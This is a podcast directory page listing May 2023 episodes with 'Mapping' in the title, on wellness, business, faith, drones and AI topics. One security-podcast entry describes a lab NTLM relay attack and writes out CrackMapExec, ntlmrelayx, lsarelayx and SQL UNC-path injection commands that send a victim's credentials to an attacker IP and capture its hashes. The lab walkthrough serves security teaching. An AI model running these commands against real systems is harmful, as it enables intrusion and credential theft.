Podcasts about Mapping

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Best podcasts about Mapping

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Latest podcast episodes about Mapping

UNcivilized UNplugged
Why you need to know about women's sexual health. — Carly Rae Beaudry

UNcivilized UNplugged

Play Episode Listen Later May 22, 2023 56:12


Embrace the natural rhythm of life, for it holds the key to genuine connection. Get ready for an eye-opening episode where we dive into why it's so important for guys to understand women's menstrual cycles. Our special guest, Carly Rae Beaudry, is here to guide women in embracing their cycles and feminine nature. Trust me, this knowledge can seriously level up your support and intimacy in relationships. Join us as we bust some myths, chat about the power of fertility awareness, and navigate the emotional and physical ups and downs throughout the month. Plus, we'll dish out some practical tips for being there for the women in your life and empowering their choices. So grab your headphones and join us on this journey of growth, empathy, and thriving together. It's gonna be awesome! ABOUT CARLY RAE BEAUDRY Carly Rae is a full spectrum birth worker and manual therapist with 16 years of experience. She specializes in hands-on, hands-in pelvic work, guiding women through the depths of their female anatomy. As the creator of FLESH + BLOOD, Carly empowers women to embrace their body literacy and connect with their true nature. Her work is a testament to the remembrance and celebration of the feminine essence. CONNECT WITH CARLY Website: carlyrae.ca  Facebook: https://www.facebook.com/carlyrbeaudry WHAT YOU WILL HEAR [4:30] Who's Carly Rae Beaudry? [6:18] Misunderstandings about women's cycles: lack of understanding and disgust. [9:26] Importance of men understanding women's cycles: addressing birth control and fertility awareness. [11:40] Mapping a woman's cycle and embracing its cyclical nature. [15:31] Supporting women during their cycles. [21:14] Shared responsibility in reproductive matters. [26:17] Challenges and support for each cycle stage. [33:35] Recognizing the significance of menstrual bleeding in the world. [36:53] Exploring the topic of sex during menstruation. [40:00] Insight on menstrual cups as an alternative option. [46:20] Unveiling unknown facts about women's cycles and bodies. [49:48] Discussing possibilities of changing societal perceptions. [52:26] Where to find Carly for more information. If you look at the civilized world and think, "No thank you," then you should subscribe to our podcast, so you don't miss a single episode! Also, join the uncivilized community, and connect with me on my website,⁠ YouTube⁠, or⁠ Instagram⁠ so you can join in on our live recordings, ask questions to guests, and more. Get a copy of one of my books,⁠ Man UNcivilized⁠ and⁠ Today I Rise⁠ Click here to sign up for the⁠ Kill the Nice Guy course⁠.

The Keeping It Personal Show
050. From Brainstorm to Bank Account

The Keeping It Personal Show

Play Episode Listen Later May 15, 2023 40:12


Teri and Jen explore the journey from idea inception to financial success by using the Refined Method, a methodology based on the “6 M's.” Whether you're a fledgling entrepreneur or a seasoned professional aiming for the six-figure mark, this strategy can help you navigate the often rocky road to business success.    They dive into reverse engineering your goals, preparing for potential obstacles, and using faith-based scriptures to stay motivated. Plus, they offer advice on how to craft an effective internal messaging system before beginning any business venture. From market research to testing the market and creating a revenue roadmap, this episode has all the tips you need to take your idea from brainstorming to bank account within 60-90 days.    If you've got an idea you want to take to launch – and need help navigating the process – we are here to help!! Book your power call with us here » https://keepingitpersonal.com/powercall [00:01 - 15:27] Mindset and Message: The Foundations of Success  Mindset is crucial in business. This involves maintaining a positive and focused attitude, addressing self-doubts, and being prepared for obstacles.  A good mindset requires reverse engineering one's goals to envision the future of the business and the lifestyle it should enable, taking into account one's current situation and capacity. Navigating the business journey requires resilience and proactive management of various mindset issues, such as fears, feelings of inadequacy, and beliefs about money and worthiness.  It's crucial to be clear on your messaging to avoid confusion and potential missed opportunities. Messaging in a business is two-fold; Internal and External As a business grows and scales, there will be tweaks. It's important to have a clear initial foundation, but the vision, mission, core values, and even target market may get clearer and more specific over time. [15:26 - 31:53] Uncovering Your Target Market and Monetizing Your Business Identifying the top 20 problems of your business. This list becomes your forward-facing message, assists in creating content, and forms the basis of your marketing strategy. Understanding your market is critical to creating a successful business: Know where your target market hangs out, their demographics, psychographic, and if there is a true need for what you're offering Understanding how you'll monetize your business by identifying products or services, considering different revenue streams, and understanding how payments will be collected.  [31:54 - 40:06] Mapping out and Measuring  The 7 phases of the Revenue Roadmap – Attract, Capture, Nurture, Convert, Deliver and Satisfy, Upsell, and Referrals Monitor and keep a pulse on what matters most in your business. Measure, review, and see what worked and what didn't. Quotes:   "When you're launching a business or taking even another revenue stream, and you're creating something new, there's always going to be stumbling blocks. And so we need to make sure that we've got some really solid practical things in place." – Teri Johnson   “We will puke on people if we don't have our messaging clear and we might miss some great opportunities for collaboration for potential clients.” – Teri Johnson    "Messaging and market are crucial. We need to do our research, we need to understand what it is, make sure that it's a viable product, and that it's priced accordingly in the market." – Teri Johnson    If you're feeling disconnected and looking for a place to plug in – we would LOVE to connect with YOU and have you as a guest at our VIRTUAL Gathering! We meet each week to network, collaborate, encourage each other, and discuss strategies to grow our businesses. Just go to https://keepingitpersonal.com/vipguest to pick your date and get registered!

Mindful As A Mother
Podcast Sprint Day 1: Nervous System Mapping

Mindful As A Mother

Play Episode Listen Later May 14, 2023 5:17


Get the down and dirty on the what, why, and how of mapping your nervous system and the nervous system of your child. Nervous system regulation is the core of understanding our responses as adults and tantrums and meltdowns for our kids. Often, we try and jump in immediately with skills to help, but if we don't understand how and why the meltdowns happen, it's harder to problem solve. This is truly step one. Enjoy! You can find more information on mapping your and your child's nervous system here: https://stan.store/Mindfulasamother/p/get-the-bundle-now-

Green Industry Podcast
The Equip Expo Chronicles: Mapping Out the Louisville Experience

Green Industry Podcast

Play Episode Listen Later May 12, 2023 25:06


Join me as I reveal my travel plans for the Equip Expo 2023, taking place in Louisville, Kentucky from October 17-20. Dive into a day-by-day breakdown of the trade show, and discover must-attend community events like the Morning Show and the Rally at the Yum Center. Get the inside scoop on the annual event that helps grow the businesses of landscapers, hardscapers, manufacturers, and dealers alike. Equip Expo: Register Now! (Code PAUL Saves 50%) Get Your Copy of The Lawn Care Advantage Here! Secure Your Spot: Register for Lawn Care Life Conference 2024 The Resource Center at GreenIndustryPodcast.com Get Jobber Apply for Jobber Grants Start Your Website Journey w/ Footbridge Media The Landscaping Bookkeeper - Megan and Joey Coberly GPS Trackit Kubotausa.com The Hardscape Academy Paul Jamison's Books Try Audible Ferris Mowers

Living With Power
Unshaken faith when I can't see God clearly [UNSHAKEN 18]

Living With Power

Play Episode Listen Later May 11, 2023 28:49


Are you surrounded by an enemy who seems too strong for you? Do you feel overwhelmed by fear in the face of your trials? Do you struggle to believe that God is good when you can't see Him clearly at work in your life? The way we respond to the battles we're facing is often influenced by what we choose to focus on. Do we look at the obvious enemy or at the spiritual reality of who is with us? Do we fix our eyes on what is visible or on God and His promises, no matter how things look on the outside? Listen to today's podcast on 2 Kings 6 and find out how Elisha could remain confident in the face of an undefeatable enemy and how you too can stand strong in faith no matter what.   ABOUT: Lina AbuJamra founded Living with Power Ministries and is a popular Bible teacher, podcaster, and conference speaker. She's also the host of a radio show and the author of several books, including Fractured Faith and the forthcoming Bible Study series, Mapping the Footsteps of God. Lina is a pediatric ER doctor who practices telemedicine and in her “spare” time, she provides medical care and humanitarian help to Syrian refugees and others in disaster areas. Learn more about her at LivingWithPower.org. Follow on Insta: linaabujamra Follow on facebook: Lina Abujamra Follow on Twitter: @LinaAbujamra

Generations Radio
Pop Culture & Sexual Revolution - Mapping out the Revolution

Generations Radio

Play Episode Listen Later May 8, 2023 34:00


The revolution that destroyed our world took place in the 1960s, largely led by popular culture - movies and music.--Here we examine the social, sexual, and political revolutionary fervor that marked a Proverbs 30-11-14 crowd in the 1960s and 1970s. The revolution was always intended to destroy, and destroy is what it did. But do Christain Americans realize that the destruction came by the Beach Boys, Roy Orbison, Bob Dylan, and Simon and Garfunkel-- The existentialism of Jean-Paul Sartre played hardest on the pop culture icons of this era.--This program includes---1. The World View in 5 Minutes with Adam McManus -King Charles' request to let non-Christians lead prayer was overruled- Gunman at Texas mall killed 8, wounded 7- Two kidnapped Chibok schoolgirls rescued in Nigeria---2. Generations with Kevin Swanson

Beyond the Rut Podcast
Unlock Your Life with Neuro Mapping and Overcoming Insecurities

Beyond the Rut Podcast

Play Episode Play 28 sec Highlight Listen Later May 8, 2023 43:17 Transcription Available


Unlock the secrets to living a life beyond the rut with special guest Adrian Moreno as he delves into the power of neural mapping, overcoming insecurities, and eliminating self-sabotage.Neuro Mapping as the Key to Your SuccessAdrian Moreno ran a successful high-ticket fitness coaching business with 88 clients when he was in his early 20s. Despite his success, his unchecked anxiety led Adrian to keep adding clients without scaling the support needed to serve his clients well. His business crashed and burned and he found himself refunding over a half a million dollars to make things right.Hypnotherapy helped Adrian realize that his behavior stemmed from a deeply-seated memory of his mom leaving the family. No amount of money would fill that void for him, yet that was what he was trying to do.Neuro mapping then helped Adrian reframe his perspective about money, relationships, and success in a way that he now lives a healthier, happier life. His hope is that this interview will inspire you to also consider reshaping your thoughts and mindsets through neuro mapping, recognizing why you do what you do, understanding the life you want to live and taking action to make that happen.Just as I've mentioned in my book, Beyond the Rut: Create a Life Worth Living in Your Faith, Family, and Career, you need to recognize your R.U.T. to live beyond the rut.In this episode, you will learn:Adrian's reflection on the loss of family as a young boy revealed his deepest fears of loss.How neuro mapping helps you redefine success, your worth, and finding joy in life.Creating the priorities in life that will create a life worth living for you.Adrian MorenoAdrian Moreno began his career in the health & fitness space while also gaining unparalleled experience with hypnosis and Neuro-Linguistic Programming, establishing himself as a respected transformation specialist through the power of hypnotherapy.Going against what his mentors taught, Adrian spent his marketing efforts pitching and getting booked on top podcasts and grew that hypnotherapy company to a quarter of a million dollars in only 12 months -- now he spends his time teaching other coaches, course creators, and content creators how to do the same thing.If he isn't doing that you can find him writing, reading or watching “The Office.”Beyond the Rut Podcast and The Shadows Podcast are members of Lima Charlie Network whose mission is to empower others to reach new heights in leadership, self-development, and communication by connecting our audience with a network of podcasters and thought-leaders focused on sharing tools for impactful improvement. Visit LimaCharlieNetwork.com for more information!Support the show

Kevin Swanson on SermonAudio
Pop Culture & Sexual Revolution - Mapping out the Revolution

Kevin Swanson on SermonAudio

Play Episode Listen Later May 8, 2023 34:00


A new MP3 sermon from Generations Radio is now available on SermonAudio with the following details: Title: Pop Culture & Sexual Revolution - Mapping out the Revolution Speaker: Kevin Swanson Broadcaster: Generations Radio Event: Radio Broadcast Date: 5/8/2023 Length: 34 min.

7 Minute Security
7MS #570: How to Build a Vulnerable Pentest Lab - Part 4

7 Minute Security

Play Episode Listen Later May 5, 2023 32:16


SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount! In today's episode we staged an NTLM relay attack using a vulnerable SQL server. First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled: cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txt Then we setup lsarelayx in one window: lsarelayx --host=localhost And in a second window we ran ntlmrelayx.py: python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIM Finally, in a third window we triggered authentication from the vulnerable SQL server: Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESS Boom! Watch the local usernames and hashes fall out of the victim system. We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this: victim1 victim2 victim3 Then we tweaked the ntlmrelayx command slightly: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt Interestingly(?) only victim2 was attacked. Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay: python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socks Interestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server. TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.

Free Library Podcast
Dave Barry | Swamp Story: A Novel

Free Library Podcast

Play Episode Listen Later May 4, 2023 57:41


A ''genuine genius'' (The New York Times Book Review), Dave Barry won the Pulitzer Prize for commentary in 1988. He wrote for the Miami Herald for 30 years, where his column was syndicated in more than 500 newspapers. His dozens of bestselling works of fiction, nonfiction, and essay collections include I'll Mature When I'm Dead; Dave Barry Slept Here: A Sort of History of the United States; Lessons from Lucy: The Simple Joys of an Old, Happy Dog; and Best. State. Ever.: A Florida Man Defends His Homeland. Two of Barry's books were used as the basis for the CBS TV sitcom Dave's World. Mapping the intersecting fates of a young mother who stumbles upon treasure, a debauched newspaper man, a wannabe reality star, and other oddballs, Swamp Story is a quintessentially Floridian caper story. (recorded 5/3/2023)

Boomer & Warrener in the Morning
Mapping Out the Path Ahead for the Flames!

Boomer & Warrener in the Morning

Play Episode Listen Later May 4, 2023 35:35


On the second hour of The Big Show, George and Matt welcome Frank Seravalli to the show! Frank broke down the decision to fire Darryl Sutter, what it could've mean for Brad Treliving if he was fired sooner, and the path forward for the Flames as they now sit without a General Manager and a Coach at the same time since 2000. Afterwards, Valerie Ball stops by to tell us all about the amazing prizes up for grabs at this year's Hospital Home Lottery and breaks down the community impact of the initiative! We wrap the hour with this week's edition of Brodie on the Beat! This week, Alex asked the people of Calgary to share their thoughts on their biggest sports-related pet peeves. The views and opinions expressed in this podcast are those of the hosts and guests and do not necessarily reflect the position of Rogers Media Inc. or any affiliate. 

Edge Effects
Mapping the Unfree Labor of Prison Agriculture: A Conversation with Carrie Chennault and Josh Sbicca

Edge Effects

Play Episode Listen Later May 4, 2023 37:12


Prison Agriculture Lab directors Carrie Chennault and Josh Sbicca discuss the ubiquity of carceral agriculture in the United States, its structuring logics of racial capitalism, and possibilities for abolitionist food futures. The post Mapping the Unfree Labor of Prison Agriculture: A Conversation with Carrie Chennault and Josh Sbicca appeared first on Edge Effects.

Making Problems to Solve
Chris Faroe - Creative Mapping - Designing a Creative Life and Career

Making Problems to Solve

Play Episode Listen Later May 4, 2023 67:10


I had the great pleasure of chatting with Chris Faroe about his path through creativity from music to permaculture to spoon carving and his development of the Creative Mapping Project. We talked about anti-mentors, who push you away from the wrong thing, even if they're not quite sure what the right thing might be. Learn more about what Chris is up to creatively @faeroplane on Instagram and his work @creativemappingproject and learn more about Creative Mapping on his web site https://www.creativemappingproject.com/linkinbio Photo credit: Chris Bauer Mentions in this episode Keith Decent

The Gradient Podcast
Ted Underwood: Machine Learning and the Literary Imagination

The Gradient Podcast

Play Episode Listen Later May 4, 2023 103:59


In episode 71 of The Gradient Podcast, Daniel Bashir speaks to Ted Underwood.Ted is a professor in the School of Information Sciences with an appointment in the Department of English at the University of Illinois at Urbana Champaign. Trained in English literary history, he turned his research focus to applying machine learning to large digital collections. His work explores literary patterns that become visible across long timelines when we consider many works at once—often, his work involves correcting and enriching digital collections to make them more amenable to interesting literary research.Have suggestions for future podcast guests (or other feedback)? Let us know here or reach us at editor@thegradient.pubSubscribe to The Gradient Podcast:  Apple Podcasts  | Spotify | Pocket Casts | RSSFollow The Gradient on TwitterOutline:* (00:00) Intro* (01:42) Ted's background / origin story, * (04:35) Context in interpreting statistics, “you need a model,” the need for data about human responses to literature and how that manifested in Ted's work* (07:25) The recognition that we can model literary prestige/genre because of ML* (08:30) Distant reading and the import of statistics over large digital libraries* (12:00) Literary prestige* (12:45) How predictable is fiction? Scales of predictability in texts* (13:55) Degrees of autocorrelation in biography and fiction and the structure of narrative, how LMs might offer more sophisticated analysis* (15:15) Braided suspense / suspense at different scales of a story* (17:05) The Literary Uses of High-Dimensional Space: how “big data” came to impact the humanities, skepticism from humanists and responses, what you can do with word count* (20:50) Why we could use more time to digest statistical ML—how acceleration in AI advances might impact pedagogy* (22:30) The value in explicit models* (23:30) Poetic “revolutions” and literary prestige* (25:53) Distant vs. close reading in poetry—follow-up work for “The Longue Durée”* (28:20) Sophistication of NLP and approaching the human experience* (29:20) What about poetry renders it prestigious?* (32:20) Individualism/liberalism and evolution of poetic taste* (33:20) Why there is resistance to quantitative approaches to literature* (34:00) Fiction in other languages* (37:33) The Life Cycles of Genres* (38:00) The concept of “genre”* (41:00) Inflationary/deflationary views on natural kinds and genre* (44:20) Genre as a social and not a linguistic phenomenon* (46:10) Will causal models impact the humanities? * (48:30) (Ir)reducibility of cultural influences on authors* (50:00) Machine Learning and Human Perspective* (50:20) Fluent and perspectival categories—Miriam Posner on “the radical, unrealized potential of digital humanities.”* (52:52) How ML's vices can become virtues for humanists* (56:05) Can We Map Culture? and The Historical Significance of Textual Distances* (56:50) Are cultures and other social phenomena related to one another in a way we can “map”? * (59:00) Is cultural distance Euclidean? * (59:45) The KL Divergence's use for humanists* (1:03:32) We don't already understand the broad outlines of literary history* (1:06:55) Science Fiction Hasn't Prepared us to Imagine Machine Learning* (1:08:45) The latent space of language and what intelligence could mean* (1:09:30) LLMs as models of culture* (1:10:00) What it is to be a human in “the age of AI” and Ezra Klein's framing* (1:12:45) Mapping the Latent Spaces of Culture* (1:13:10) Ted on Stochastic Parrots* (1:15:55) The risk of AI enabling hermetically sealed cultures* (1:17:55) “Postcards from an unmapped latent space,” more on AI systems' limitations as virtues* (1:20:40) Obligatory GPT-4 section* (1:21:00) Using GPT-4 to estimate passage of time in fiction* (1:23:39) Is deep learning more interpretable than statistical NLP?* (1:25:17) The “self-reports” of language models: should we trust them?* (1:26:50) University dependence on tech giants, open-source models* (1:31:55) Reclaiming Ground for the Humanities* (1:32:25) What scientists, alone, can contribute to the humanities* (1:34:45) On the future of the humanities* (1:35:55) How computing can enable humanists as humanists* (1:37:05) Human self-understanding as a collaborative project* (1:39:30) Is anything ineffable? On what AI systems can “grasp”* (1:43:12) OutroLinks:* Ted's blog and Twitter* Research* The literary uses of high-dimensional space* The Longue Durée of literary prestige* The Historical Significance of Textual Distances* Machine Learning and Human Perspective* The life cycles of genres* Can We Map Culture?* Cohort Succession Explains Most Change in Literary Culture* Other Writing* Reclaiming Ground for the Humanities* We don't already understand the broad outlines of literary history* Science fiction hasn't prepared us to imagine machine learning.* How predictable is fiction?* Mapping the latent spaces of culture* Using GPT-4 to measure the passage of time in fiction Get full access to The Gradient at thegradientpub.substack.com/subscribe

Getting Smart Podcast
Bodo Hoenen on Generative AI for Curriculum

Getting Smart Podcast

Play Episode Listen Later May 3, 2023 34:01


We've recently released a new publication that synthesizes years of research on AI and its impact on teaching and learning. You can find it at GettingSmart.com/artificial-intelligence/ On this episode of the Getting Smart Podcast, Nate McClennen is joined by Bodo Hoeden co-founder and CEO of Nolej, a generative AI tool that automatically convert documents (Text, Video, Audio) into dynamic active learning content through the use of our AI. What used to take instructional designers hours, can now be done by anyone in minutes.  Nolej is focused on doing the following:  Creating a tool that can generate bite size e-learning packages from any content in real-time.  Mapping these experiences into a multi-dimensional latent space - almost like a map of ignorance for search and visibility.  Building A GPS to help guide you through these learning experiences and to help you interact with mentors, experts and other learners.  In this conversation, Nate and Bodo discuss the vast potential of AI, the past and future of collective intelligence, the structure of Nolej and much more.   

Gapology Radio
Yesterday, Today, and Tomorrow: IMBAR Mapping Series

Gapology Radio

Play Episode Listen Later May 3, 2023 24:04


Creating the career of our dreams requires a firm understanding of our past and, even more importantly, our present. To get to where we want to be, we need to know where we are, and briefly looking into our past for clues of potential obstacles helps us improve and more effectively move forward. The IMBAR Mapping process is the perfect vehicle to do all of this. As we wrap up our short series discussing IMBAR, we outline this simple, yet powerful process. 

Emerging Infectious Diseases
Mapping Global Bushmeat Activities to Improve Zoonotic Spillover Surveillance by Using Geospatial Modeling

Emerging Infectious Diseases

Play Episode Listen Later May 3, 2023 22:17


Dr. Soushieta Jagadesh, a postdoctoral researcher in Zurich, Switzerland, and Sarah Gregory discuss mapping global bushmeat activities to improve zoonotic spillover surveillance.

Redeye
White Riot: The 1907 Anti-Asian Riots in Vancouver

Redeye

Play Episode Listen Later May 3, 2023 17:49


360 Riot Walk is an immersive, self-guided 360 ° video walking tour of the 1907 Anti-Asian Riots in Vancouver. Now, a book based on the walk adds new dimensions to our understanding of those events. The book will be launched June 30 at the Sun Yat Sen Gardens in Chinatown. We're joined by Henry Tsang, artistic director of the tour and author of the book.

The Broadband Bunch
Broadband Mapping: Taking the guesswork out of broadband network investments Jerry Lawlor, Hexvarium

The Broadband Bunch

Play Episode Listen Later May 2, 2023 27:50


IIn this episode of the Broadband Bunch, we are joined by Gerry Lawlor, Co-Founder & Chief Executive Officer at Hexvarium. Gerry co-founded Hexvarium with the vision of making broadband network investments more efficient, impactful, and profitable. Hexvarium's proprietary HexMAPP platform and algorithms take the guesswork out of broadband network investments, enabling investors, utilities, municipalities, and businesses to quickly determine how and where to build fiber networks for the highest possible impact and the best possible return to investors. Click the link below to listen. Also, subscribe to the Broadband Bunch on your favorite podcast platform so you never miss an episode. https://hexvarium.com

GreenPill
110 - The Memetic Tribes of the Meta-Crisis with Brandon Nørgaard

GreenPill

Play Episode Listen Later May 2, 2023 43:57


The Iron Realm Mega Dungeon Crawl & Dark Fantasy Solo RPG Gaming Podcast

Summary: Veyla of the Dark Elves has been taken captive by the Tribe of Nora even as they mourn their many dead in an alien and infinite space. Of Special Note: On tonight's Iron Personas we learn the depth of Veyla's personal history. Download Chapter 119: Consent Download All Future Episodes & Bonus Episodes --HERE-- The following recording for The Iron Realm Podcast by NessaZ was used during the Opening, Real Roleplay, and Delving Deeper: Custom Audio created for The Iron Realm by NessaZ I edited tracks for volume, length, pitch, and mood. (find NessaZ at soundcloud.com or youtube.com) Click here to visit her SoundCloud page Click here to visit her YouTube page NessaZ's aforementioned audio is included on The Iron Realm with her permission. The fiction of John Merle Holes is read for you, with his permission, on Travellers of the Maze. Follow John on Twitter VIEW ALSO John Merle Holes' review of The Iron Realm Dungeon Arena PLUS his Spherical Arena and musings on the Multiverse on YouTube: https://www.youtube.com/watch?v=meej7t1ig9k Unless otherwise noted, I have edited above listed tracks for volume, length, pitch, and mood. The Creative Commons Attribution License 3.0 can be referenced here: CC Attribution License My thanks as well for all audio featured under the cc0 license on tonight's podcast. The Iron Realm is intended for adult audiences. Listener Discretion is advised. The Iron Realm album art/website art was created from a public domain image/CC0 image from PixaBay. Audio on the podcast, unless otherwise noted, has either been created by the author or has been used in accordance with the Creative Commons Zero license. A new Iron Realm Podcast is released periodically and each is a labor of my love for Solo RPG Gaming. Enjoy and support the show. And fare ye well, Traveler of The Maze, in the light and in the dark. Subscribe to The Iron Realm Podcast!

Ask Drone U
ADU 1309: What certifications should I get for Drone Mapping?

Ask Drone U

Play Episode Listen Later May 1, 2023 26:21


Do certifications help in building pilot credibility in Drone Mapping? Are there certifications that hold value? Today's episode is brought to you by Drone U Events scheduled for coming months in 2023 in CO. Are you ready to master 2D mapping and 3D modeling via Drones? Learn photogrammetry basics and master the principles of acquisition and processing allowing you to serve a wide range of customers at an unparalleled level. Join the Drone U Flight Crew for our 2023 Comprehensive Mapping Bootcamp to add mapping and modeling services to your tool belt. Today's show is about certifications and their relevancy in the drone mapping world and should pilots invest in getting a certification. Our question for today is from Hunter who would like to know if certifications hold any value in Drone mapping and what are the credentials worth pursuing and should pilots invest in them to further their skills in the domain. Thanks for the question, Hunter.  We answer today's question by talking about some of the latest updates available in drone mapping certifications and listing some of the mapping certifications that are available. We delve into particulars of certifications for technologies such as LiDAR and other thermal inspections. Lastly we discuss if there are good institutions from where pilots can pursue certifications. Tune in today to learn about certifications in the drone world and if you are looking to get one to add to your profile and to learn new skills. Get Your Biggest and Most Common Drone Certificate Questions Answered by Downloading this FREE Part 107 PDF Make sure to get yourself the all-new Drone U landing pad! Get your questions answered: https://thedroneu.com/. If you enjoy the show, the #1 thing you can do to help us out is to subscribe to it on iTunes. Can we ask you to do that for us real quick? While you're there, leave us a 5-star review, if you're inclined to do so. Thanks! https://itunes.apple.com/us/podcast/ask-drone-u/id967352832. Become a Drone U Member. Access to over 30 courses, great resources, and our incredible community. Follow Us Site – https://thedroneu.com/ Facebook – https://www.facebook.com/droneu Instagram – https://instagram.com/thedroneu/ Twitter – https://twitter.com/thedroneu YouTube – https://www.youtube.com/c/droneu Timestamps: [03:51] Today's question is on certifications and training that pilots can pursue to further their skills in mapping [05:20] What are the updates in certifications available currently [06:20] Mapping certifications available and how to choose certifications [08:05] Details of certifications with LiDAR and thermal inspections [10:12] What certifications would Paul go for, should he be running a drone based business [18:06] Are there good institutes for training and certifications

Thriving Thyroid with Shannon Hansen - Functional Nutrition for better women's hormones using food as medicine.

  . . . SHOW NOTES AT    Get on the Hansen Method waitlist. Click here. We open up the Hansen Method 2-3x a year so that we can fully support our clients to the highest degree possible.   Thinking about using nutrition and holistic health for restoring thyroid function? Learn EVERYTHING you need to know by joining our Free Facebook Group. Thriving Thyroid Balance Community.   Are you interested in learning more about your thyroid and finding answers?    We got you!    We have several different opportunities to work with us at several different price points and opportunities.    Our signature 6-month program is called The Hansen Method, we offer this in a VIP setting with personalized plans and protocols, individual one on one coaching and incredible bonuses that change regularly. You can schedule a complimentary thyroid breakthrough call with one of our thyroid advisors. Click here.  If you have questions about the Hansen Method and want to discuss your specific situation and make sure this is the right program for you you can schedule a complimentary thyroid breakthrough call with one of our team members. schedule here. Hurry, my schedule fills up quickly and we only work with limited amount of women at any given time.    Join hundreds of women who have improved their symptoms by 80% and lose on average 30lbs in the 4 months.     Not ready to schedule a call, no problem. Learn more about the Hansen Method to see if it's a good fit for you. Click here to learn more.    We also offer The Hansen Method as a Self Guided option.    Option number 1 for self guide is where you are totally on your own to go through the program content, make the changes and execute them on your own. Click here to purchase.    Option number 2 includes group coaching and access to our members facebook group that will allow you access to our Thyroid Success Coaches and testing with personalized protocols. Click here to purchase.      But one of our favorite ways to work with us is our Thriving Thyroid Coaching Membership Opportunity.  This is where many of clients first begin working with us. It allows you to get to know us, our system and start making changes before making a larger financial investment. Click here to learn more.    CONTACT LINKS Website Facebook Community YouTube Instagram   DOWNLOADABLE RESOURCES Freedom From Fatigue Guide  Download our Thyroid Panel Guide. Best Foods for Thyroid Thriving Hair Guide Dining Out Guide Thyroid Blocker List   PAID RESOURCES Thyroid Recipe Book 10-day detox   AFFILIATE LINKS Branch Basics Doterra Essential Oils Beauty Counter Fullscript Supplements   Xo, Shannon Hansen   P.S. Make sure to schedule our Thyroid Breakthrough call with one of our thyroid advisors. 

Inside The Line: The Catskills
Episode 74 - Jeremy Apgar - Mapping for the NYNJTC

Inside The Line: The Catskills

Play Episode Listen Later May 1, 2023 77:51


Welcome to episode 74 of Inside The Line: The Catskill Mountains Podcast! On this episode, I am joined by Jeremy Apgar, who has been cartopographer for the NYNJ Trail Conference and has been creating the amazing maps for the Catskills for 15 years. Jeremy's knowledge and expertise on these maps has helped out immensely. We chat about the new maps, mud season and the UMP for the Kaaterskill Clove. History is about the old Catskill Mountain House Road. If you want stickers, send me an email itlcatskillspodcast@gmail.com! Subscribe on any platform! Share! Donate! Do whatever you want! I'm just glad you're listening! And remember... VOLUNTEER!!!!!! - Links for the Podcast: https://linktr.ee/ISLCatskillsPodcast - Donate a coffee to support the show! https://www.buymeacoffee.com/ITLCatskills - Like to be a sponsor or monthly supporter of the show? Go here! - https://www.buymeacoffee.com/ITLCatskills/membership Thanks to the sponsors of the show! - Outdoor chronicles photography - https://www.outdoorchroniclesphotography.com/ - Trailbound Project - https://www.trailboundproject.com/  - Camp Catskill - https://campcatskill.co/ - Scenic Route Guiding - https://adventurewiththescenicroute.com/ Links: Places where you can get the maps: Inquiring Minds, Nest Egg, Catskill Bicycle Supply Co, Morgan Outdoors, Catskills Visitor Center, Kenco Outfitters, Catskill Outpost, Camp Catskill - Alzheimer's Association Longest Day - https://act.alz.org/site/SPageServer?pagename=tld_donate&s_subsrc=test_combo_tld - Trailhead stewards for 3500 Club - http://catskill-3500-club.org/adopt-a-trailhead.php - Catskills Trail Crew - https://www.nynjtc.org/trailcrew/catskills-trail-crew - NYNJTC Volunteering - https://www.nynjtc.org/catskills - Catskill Center - https://catskillcenter.org/ - Catskill Mountain Club - https://catskillmountainclub.org/about-us/ - Catskill Mountainkeeper - https://www.catskillmountainkeeper.org/ - The Narrows Project Volunteering - https://narrowstroy.org/ways-to-help/support-volunteer/ Post hike Brews and bites #NYNJTC #maps #Catskillsmaps #avenza #volunteers #catskillmountains #catskillspodcast #catskills #catskillpark #podcast #catskillshiker #volunteers #catskillmountainsnewyork #catskillmountainsnewyork #catskillspodcast #catskillshiker #catskillshiking #hiking #insidethelinecatskillmountainspodcast --- Support this podcast: https://podcasters.spotify.com/pod/show/insidethelinesthecatskill/support

Anderson Overland Podcast
Anderson Overland - Episode #48 - Questions Answered, Trip Planning & Mapping

Anderson Overland Podcast

Play Episode Listen Later May 1, 2023 31:52


Join me as I answer questions about overlanding from our followers on instagram as well as guiding through my trip planning process and what we use for mapping on the trail and into camp. Learn more about your ad choices. Visit megaphone.fm/adchoices

Build a Better Agency Podcast
EP 395: Mapping out an ideal day for agency owners with Drew McLellan

Build a Better Agency Podcast

Play Episode Listen Later May 1, 2023 41:25


This week, I'm covering an important topic I haven't covered on a solocast before — agency owner work balance. Often, agency owners get pulled into too much of the day-to-day client work or aren't correctly staffing the agency to get the support they need on the work they have. There's a formula you should be following for how you break down your workday or workweek to be a successful business leader, and I'm going to map it out in an easily applicable formula. It's not always easy to get ourselves out of the daily client tasks, but the recipe I'm sharing with you today will help you block out more time for the things that matter the most. If you're not doing your job, nobody else is going to do it, either. And your job is the most important job in the entire agency. So tune in to learn how to map out your days better, get out of the day-to-day, and focus your attention where you're needed most. For 30+ years, Drew McLellan has been in the advertising industry. He started his career at Y&R, worked in boutique-sized agencies, and then started his own (which he still owns and runs) agency in 1995. Additionally, Drew owns and leads the Agency Management Institute, which advises hundreds of small to mid-sized agencies on how to grow their agency and its profitability through agency owner peer groups, consulting, coaching, workshops and more. A big thank you to our podcast's presenting sponsor, White Label IQ. They're an amazing resource for agencies who want to outsource their design, dev, or PPC work at wholesale prices. Check out their special offer (10 free hours!) for podcast listeners here. What You Will Learn in This Episode: Getting out of the day-to-day client work The percentage breakdown of how an agency owner should spend their day Why blocking your time efficiently and effectively is incredibly important The key factors that add value to your agency How to shift to this new breakdown of work Why biz dev is the most important task How to delegate and divide tasks between you and your business partner The importance of making yourself unavailable sometimes

FORTiTUDE
